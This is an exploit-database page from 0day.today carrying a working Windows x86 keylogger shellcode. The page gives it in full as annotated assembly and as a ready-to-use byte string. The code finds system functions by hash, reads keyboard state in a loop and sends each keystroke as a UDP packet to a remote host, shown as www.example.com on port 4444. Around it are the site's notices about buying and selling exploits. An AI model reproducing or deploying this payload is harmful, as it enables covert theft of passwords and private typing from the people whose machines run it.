0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Windows/x86 - Keylogger Reverse UDP Shellcode (493 bytes)
[; Exploit Title: x86 windows shellcode - keylogger reverse udp - 493 bytes
; Date: Fri Oct 13 12:58:35 GMT 2016
; Exploit Author: Fugu
; Vendor Homepage: www.microsoft.com
; Version: all win
; Tested on: Windows 7(x86), 8.1(x86), 10(x86_64)
; Note: it will write to single byte payload udp packets to host.
; keystrokes are written in format: "Virtual-Key Codes", from
; msdn.microsoft.com website
section .bss
section .data
section .text
global _start
_start:
cld ; 00000000 FC
call dword loc_88h ; 00000001 E882000000
pushad ; 00000006 60
mov ebp,esp ; 00000007 89E5
xor eax,eax ; 00000009 31C0
mov edx,[fs:eax+0x30] ; 0000000B 648B5030
mov edx,[edx+0xc] ; 0000000F 8B520C
mov edx,[edx+0x14] ; 00000012 8B5214
loc_15h:
mov esi,[edx+0x28] ; 00000015 8B7228
movzx ecx,word [edx+0x26] ; 00000018 0FB74A26
xor edi,edi ; 0000001C 31FF
loc_1eh:
lodsb ; 0000001E AC
cmp al,0x61 ; 0000001F 3C61
jl loc_25h ; 00000021 7C02
sub al,0x20 ; 00000023 2C20
loc_25h:
ror edi,byte 0xd ; 00000025 C1CF0D
add edi,eax ; 00000028 01C7
loop loc_1eh ; 0000002A E2F2
push edx ; 0000002C 52
push edi ; 0000002D 57
mov edx,[edx+0x10] ; 0000002E 8B5210
mov ecx,[edx+0x3c] ; 00000031 8B4A3C
mov ecx,[ecx+edx+0x78] ; 00000034 8B4C1178
jecxz loc_82h ; 00000038 E348
add ecx,edx ; 0000003A 01D1
push ecx ; 0000003C 51
mov ebx,[ecx+0x20] ; 0000003D 8B5920
add ebx,edx ; 00000040 01D3
mov ecx,[ecx+0x18] ; 00000042 8B4918
loc_45h:
jecxz loc_81h ; 00000045 E33A
dec ecx ; 00000047 49
mov esi,[ebx+ecx*4] ; 00000048 8B348B
add esi,edx ; 0000004B 01D6
xor edi,edi ; 0000004D 31FF
loc_4fh:
lodsb ; 0000004F AC
ror edi,byte 0xd ; 00000050 C1CF0D
add edi,eax ; 00000053 01C7
cmp al,ah ; 00000055 38E0
jnz loc_4fh ; 00000057 75F6
add edi,[ebp-0x8] ; 00000059 037DF8
cmp edi,[ebp+0x24] ; 0000005C 3B7D24
jnz loc_45h ; 0000005F 75E4
pop eax ; 00000061 58
mov ebx,[eax+0x24] ; 00000062 8B5824
add ebx,edx ; 00000065 01D3
mov cx,[ebx+ecx*2] ; 00000067 668B0C4B
mov ebx,[eax+0x1c] ; 0000006B 8B581C
add ebx,edx ; 0000006E 01D3
mov eax,[ebx+ecx*4] ; 00000070 8B048B
add eax,edx ; 00000073 01D0
mov [esp+0x24],eax ; 00000075 89442424
pop ebx ; 00000079 5B
pop ebx ; 0000007A 5B
popad ; 0000007B 61
pop ecx ; 0000007C 59
pop edx ; 0000007D 5A
push ecx ; 0000007E 51
jmp eax ; 0000007F FFE0
loc_81h:
pop edi ; 00000081 5F
loc_82h:
pop edi ; 00000082 5F
pop edx ; 00000083 5A
mov edx,[edx] ; 00000084 8B12
jmp short loc_15h ; 00000086 EB8D
loc_88h:
pop ebp ; 00000088 5D
push dword 0x3233 ; 00000089 6833320000
push dword 0x5f327377 ; 0000008E 687773325F
push esp ; 00000093 54
push dword 0x726774c ; 00000094 684C772607
call ebp ; 00000099 FFD5
mov eax,0x190 ; 0000009B B890010000
sub esp,eax ; 000000A0 29C4
push esp ; 000000A2 54
push eax ; 000000A3 50
push dword 0x6b8029 ; 000000A4 6829806B00
call ebp ; 000000A9 FFD5
push byte +0x10 ; 000000AB 6A10
jmp dword loc_1ceh ; 000000AD E91C010000
loc_b2h:
push dword 0x803428a9 ; 000000B2 68A9283480
call ebp ; 000000B7 FFD5
lea esi,[eax+0x1c] ; 000000B9 8D701C
xchg esi,esp ; 000000BC 87F4
pop eax ; 000000BE 58
xchg esp,esi ; 000000BF 87E6
mov esi,eax ; 000000C1 89C6
push dword 0x6c6c ; 000000C3 686C6C0000
push dword 0x642e7472 ; 000000C8 6872742E64
push dword 0x6376736d ; 000000CD 686D737663
push esp ; 000000D2 54
push dword 0x726774c ; 000000D3 684C772607
call ebp ; 000000D8 FFD5
jmp dword loc_1e3h ; 000000DA E904010000
loc_dfh:
push dword 0xd1ecd1f ; 000000DF 681FCD1E0D
call ebp ; 000000E4 FFD5
xchg ah,al ; 000000E6 86E0
ror eax,byte 0x10 ; 000000E8 C1C810
inc eax ; 000000EB 40
inc eax ; 000000EC 40
push esi ; 000000ED 56
push eax ; 000000EE 50
mov esi,esp ; 000000EF 89E6
xor eax,eax ; 000000F1 31C0
push eax ; 000000F3 50
push eax ; 000000F4 50
push eax ; 000000F5 50
push eax ; 000000F6 50
inc eax ; 000000F7 40
inc eax ; 000000F8 40
push eax ; 000000F9 50
push eax ; 000000FA 50
push dword 0xe0df0fea ; 000000FB 68EA0FDFE0
call ebp ; 00000100 FFD5
mov edi,eax ; 00000102 89C7
loc_104h:
push byte +0x10 ; 00000104 6A10
push esi ; 00000106 56
push edi ; 00000107 57
push dword 0x6174a599 ; 00000108 6899A57461
call ebp ; 0000010D FFD5
test eax,eax ; 0000010F 85C0
jz loc_122h ; 00000111 740F
dec dword [esi+0x8] ; 00000113 FF4E08
jnz loc_104h ; 00000116 75EC
xor eax,eax ; 00000118 31C0
push eax ; 0000011A 50
push dword 0x56a2b5f0 ; 0000011B 68F0B5A256
call ebp ; 00000120 FFD5
loc_122h:
push dword 0x3233 ; 00000122 6833320000
push dword 0x72657375 ; 00000127 6875736572
push esp ; 0000012C 54
push dword 0x726774c ; 0000012D 684C772607
call ebp ; 00000132 FFD5
push dword 0x657461 ; 00000134 6861746500
push dword 0x74537965 ; 00000139 6865795374
push dword 0x4b746547 ; 0000013E 684765744B
push esp ; 00000143 54
push eax ; 00000144 50
push dword 0x7802f749 ; 00000145 6849F70278
call ebp ; 0000014A FFD5
push esi ; 0000014C 56
push edi ; 0000014D 57
push eax ; 0000014E 50
xor ecx,ecx ; 0000014F 31C9
mov esi,ecx ; 00000151 89CE
mov cl,0x8 ; 00000153 B108
loc_155h:
push esi ; 00000155 56
loop loc_155h ; 00000156 E2FD
loc_158h:
xor ecx,ecx ; 00000158 31C9
xor esi,esi ; 0000015A 31F6
push byte +0x8 ; 0000015C 6A08
push dword 0xe035f044 ; 0000015E 6844F035E0
call ebp ; 00000163 FFD5
loc_165h:
mov eax,esi ; 00000165 89F0
cmp al,0xff ; 00000167 3CFF
jnc loc_158h ; 00000169 73ED
inc esi ; 0000016B 46
push esi ; 0000016C 56
call dword [esp+0x24] ; 0000016D FF542424
mov edx,esi ; 00000171 89F2
xor ecx,ecx ; 00000173 31C9
mov cl,0x80 ; 00000175 B180
and eax,ecx ; 00000177 21C8
xor ecx,ecx ; 00000179 31C9
cmp eax,ecx ; 0000017B 39C8
jnz loc_18fh ; 0000017D 7510
xor edx,edx ; 0000017F 31D2
mov ecx,edx ; 00000181 89D1
mov eax,esi ; 00000183 89F0
mov cl,0x20 ; 00000185 B120
div ecx ; 00000187 F7F1
btr [esp+eax*4],edx ; 00000189 0FB31484
jmp short loc_165h ; 0000018D EBD6
loc_18fh:
xor edx,edx ; 0000018F 31D2
mov ecx,edx ; 00000191 89D1
mov eax,esi ; 00000193 89F0
mov cl,0x20 ; 00000195 B120
div ecx ; 00000197 F7F1
bt [esp+eax*4],edx ; 00000199 0FA31484
jc loc_165h ; 0000019D 72C6
xor edx,edx ; 0000019F 31D2
mov ecx,edx ; 000001A1 89D1
mov eax,esi ; 000001A3 89F0
mov cl,0x20 ; 000001A5 B120
div ecx ; 000001A7 F7F1
bts [esp+eax*4],edx ; 000001A9 0FAB1484
push esi ; 000001AD 56
push byte +0x10 ; 000001AE 6A10
push dword [esp+0x30] ; 000001B0 FF742430
push byte +0x0 ; 000001B4 6A00
push byte +0x1 ; 000001B6 6A01
lea ecx,[esp+0x10] ; 000001B8 8D4C2410
push ecx ; 000001BC 51
push dword [esp+0x3c] ; 000001BD FF74243C
push dword 0xdf5c9d75 ; 000001C1 68759D5CDF
call ebp ; 000001C6 FFD5
lea esp,[esp+0x4] ; 000001C8 8D642404
jmp short loc_158h ; 000001CC EB8A
loc_1ceh:
call dword loc_b2h ; 000001CE E8DFFEFFFF
db "www.example.com",0
loc_1e3h:
call dword loc_dfh
db "4444",0
;"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b"
;"\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c"
;"\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
;"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20"
;"\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac"
;"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
;"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
;"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
;"\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"
;"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00"
;"\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x10\xe9\x1c\x01"
;"\x00\x00\x68\xa9\x28\x34\x80\xff\xd5\x8d\x70\x1c\x87\xf4\x58\x87"
;"\xe6\x89\xc6\x68\x6c\x6c\x00\x00\x68\x72\x74\x2e\x64\x68\x6d\x73"
;"\x76\x63\x54\x68\x4c\x77\x26\x07\xff\xd5\xe9\x04\x01\x00\x00\x68"
;"\x1f\xcd\x1e\x0d\xff\xd5\x86\xe0\xc1\xc8\x10\x40\x40\x56\x50\x89"
;"\xe6\x31\xc0\x50\x50\x50\x50\x40\x40\x50\x50\x68\xea\x0f\xdf\xe0"
;"\xff\xd5\x89\xc7\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85"
;"\xc0\x74\x0f\xff\x4e\x08\x75\xec\x31\xc0\x50\x68\xf0\xb5\xa2\x56"
;"\xff\xd5\x68\x33\x32\x00\x00\x68\x75\x73\x65\x72\x54\x68\x4c\x77"
;"\x26\x07\xff\xd5\x68\x61\x74\x65\x00\x68\x65\x79\x53\x74\x68\x47"
;"\x65\x74\x4b\x54\x50\x68\x49\xf7\x02\x78\xff\xd5\x56\x57\x50\x31"
;"\xc9\x89\xce\xb1\x08\x56\xe2\xfd\x31\xc9\x31\xf6\x6a\x08\x68\x44"
;"\xf0\x35\xe0\xff\xd5\x89\xf0\x3c\xff\x73\xed\x46\x56\xff\x54\x24"
;"\x24\x89\xf2\x31\xc9\xb1\x80\x21\xc8\x31\xc9\x39\xc8\x75\x10\x31"
;"\xd2\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xb3\x14\x84\xeb\xd6\x31"
;"\xd2\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xa3\x14\x84\x72\xc6\x31"
;"\xd2\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xab\x14\x84\x56\x6a\x10"
;"\xff\x74\x24\x30\x6a\x00\x6a\x01\x8d\x4c\x24\x10\x51\xff\x74\x24"
;"\x3c\x68\x75\x9d\x5c\xdf\xff\xd5\x8d\x64\x24\x04\xeb\x8a\xe8\xdf"
;"\xfe\xff\xff\x77\x77\x77\x2e\x65\x78\x61\x6d\x70\x6c\x65\x2e\x63"
;"\x6f\x6d\x00\xe8\xf7\xfe\xff\xff\x34\x34\x34\x34\x00"
# 0day.today [2024-11-15] #